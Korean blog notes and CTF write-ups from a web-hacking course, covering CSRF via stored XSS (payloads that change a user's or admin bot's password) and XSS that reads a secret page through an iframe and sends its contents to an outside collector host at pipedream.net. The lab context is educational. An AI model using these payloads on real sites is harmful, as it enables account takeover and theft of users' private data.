CSRF는 사용자가 특정 요청을 하도록 유도하는 방법이다. 

XSS로 사용자가 접근 했을 때 비밀번호를 변경하는 요청을 보내는 것이 핵심

 


1. 비밀번호 변경 요청 확인

My page 에서 비밀번호 변경을 요청한 결과 아래와 같이 나왔다.

 

POST 방식으로 pw를 넘겨서 비밀번호를 변경한다.

POST는 form을사용하여야 한다. 동일한 요청을 GET으로 변경하여 전송해보자.

 

동일한 URL의 GET 방식

GET 방식으로 비밀번호 변경이 된다.

 

2. XSS에서 해당 요청을 보내도록 수정

 2-1) XSS가 발생되는 게시판에 이미지 태그를 생성

 2-2) 이미지 태그의 src를 회원정보 변경 URL 링크로 입력

 

3. XSS와 CSRF가 있는 게시물을 들어간 뒤 비밀번호 변경확인

 비밀번호 확인 결과 변경된 것을 확인했음.

 

5. 비밀번호 변경 스크립트가 있는 게시물의 URL을 봇으로 넘겨서 aksrl25T_admin의 비밀번호를 124로 변경

 

6. aksrl25T_admin으로 로그인

 

사이트 간 요청 위조(또는 크로스 사이트 요청 위조, : Cross-site request forgery, CSRF, XSRF)는 웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. -위키백과-

 

즉   사용자가 어떠한 요청을 하도록 유도하는 것을 말하며 XSS와는 다른 취약점이다.

XSS는 데이터의 탈취 및 스크립트를 사용한 CSRF를 유도 할 수 있으며 CSRF는 사용자가 특정 행위를 하도록 유도하는 것이다.

 

간단한 예시로 게시판에서 XSS 취약점이 생긴다면 게시판에 악성 스크립트를 심어두어 접속한 사용자의 비밀번호를 바꾸도록 요청하는 스크립트를 실행하는 것이 있다.

 


1. XSS를 활용한 CSRF

 

GET 방식

<script>
var i = new Image();
i.src= '비밀번호 변경url/?pw=1234' 
</script>

 

POST 방식

<form method="POST" action="passWdUpadte.com" id="myform">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

 

POST(페이지 이동 막기)

위의 방식대로 하면 POST 요청으로 페이지가 이동된다. 이를 방지하기위해 iframe을 사용

form의 target을 iframe으로 주고 iframe은 display none으로 화면에 표기하지 않는다.

<iframe width="0" height="0" name='myframe' style="display:none">

<form method="POST" action="passWdUpadte.com" id="myform" target="myframe">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

13주차 Dos 공격 및 CSRF의 대처방법  (0) 2024.02.05
12주차 CSRF  (0) 2024.02.01
11차 HTML의 DOM 접근  (0) 2024.01.15
9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
8주차 SQL Injection 대상 찾기  (1) 2023.12.18

 


Steal Info와 동일하지만 iframe의 대상이 mypage인듯 하다. 그렇다면 Steal Info와 동일하게 진행

 

1. iframe으로 공격 대상 불러오기

 

2. iframe내부의 공격 대상이 되는 태그의 데이터를 추출한다

마이페이지의 name이 "info"인 테그의 placeholder를 찾아보자

 

3. dom이 완성 된 후 데이터를 불러오기

</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=p123	" id="target" width="300" height="200"></iframe>
<script>
function afterLoad() {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByName("info")[0].placeholder
var i = new Image()
i.src = 'https://enbuhmg3h5bhb.x.pipedream.net/?secret'+domData
}

var i = new Image()
i.onerror = afterLoad
i.src='x'
</script>
<div>

 

4. 데이터 전송

 


문제 풀이

문제를 보니 "중요 정보가 있는 페이지와 똑같은 페이지"에서 추출 할 수 있는 HTML 태그를 찾은 후 XSS로 관리자 봇이 접근 하도록 해야 할 것 같다.

중요 정보가 있는 페이지와 똑같은 페이지
실제 중요 정보가 있는 페이지

 

게시판의 글쓰기에서 XSS가 실행 될수 있음을 확인

 

" 중요 정보가 있는 페이지와 똑같은 페이지"의 'this is a very secret info'문자열의 위치에 중요한 정보가 있을 듯 하니 해당 위치의 Text를 가져와 보자 

 

해당 태그는 p태그이며 card-text 클래스이다.

 

 


태그에서 필요한 데이터를 추출할 수 있게 되었으니 XSS를 통해 해당 데이터를 공격 서버로 전달하는 방법을 찾아보자

 

공격하는 페이지와 XSS가 실행되는 페이지가 다른 페이지이므로 XSS를 사용하여 iframe으로 해당 페이지를 불러온 후 원하는 데이터에 접근하여 데이터를 전달 할 것이다.

 

1. xss를 사용하여 Iframe으로 공격 대상 페이지 불러오기

Content-Disposition: form-data; name="update_body"
p123
</div>


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="targtet" width="300" height="200"></iframe>

<div>

 

2. iframe 내부의 데이터 가져오기

id로 iframe을 가져오고 iframe의 contentDocument를 접근하면 iframe의 태그에 접근 할 수 있다.

 

스크립트가 실행중인 시점에 Dom이 모두 그려지지 않았기 때문에 "card-text"접근 시  undifined가 발생한다.

이를 해결하기 위해 img 태그 내부의 onerror함수로 넣고 src='x'로 넣게 된다면 이미지 태그는 모든 돔이 그려진 뒤 이미지를 호출 하기 때문에 "card-text"가 존재하는 시점에 스크립트가 실행된다.

 

Content-Disposition: form-data; name="update_body"
p123
</div>


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target" width="300" height="200"></iframe>
<script>

var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'

</script>

<div>

 

3. 데이터 전달하기

페이지에 접근 결과 urnEncoding된 데이터로 "this is a very secret info"를 확인 할 수 있다. 

이제 iframe에 카피 페이지가 아닌 실제 데이터가 있는 페이지로 url을 변경하고 관리자가 접근 하도록 봇에 url을 넘겨보

 

mypage.html 에서 secret.php 로 iframe url을 변경

Content-Disposition: form-data; name="update_body"
p123
</div>


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>
<script>

var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'

</script>

<div>

 

관리자 봇에 해당 XSS가 포함된 게시물의 URL을 전달하면 Flag를 얻을 수 있다.


정리

1. iframe으로 공격 대상이 되는 페이지를 XSS가 일어날 수 있는 페이지에서 추가 삽입한다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>

2. iframe내부의 공격 대상이 되는 태그의 데이터를 추출한다.

var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML

3. 스크립트의 실행 시점에 데이터가 존재하지 않느다면 onerror등을 통해 이후에 실행 하도록 한다.

var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'

4.데이터를 전송한다.

 - XSS 삽입된 페이지 접속

'웹 해킹 코스 > 과제' 카테고리의 다른 글

12주차 CSRF 문제 풀이(Get Admin1)  (0) 2024.01.22
11주차 Steal Info2  (0) 2024.01.20
XSS 문제풀이 및 보고서 작성하기  (0) 2024.01.01
SQL Injection Point 4  (0) 2023.12.20
SQL Injection Point 3  (0) 2023.12.20

+ Recent posts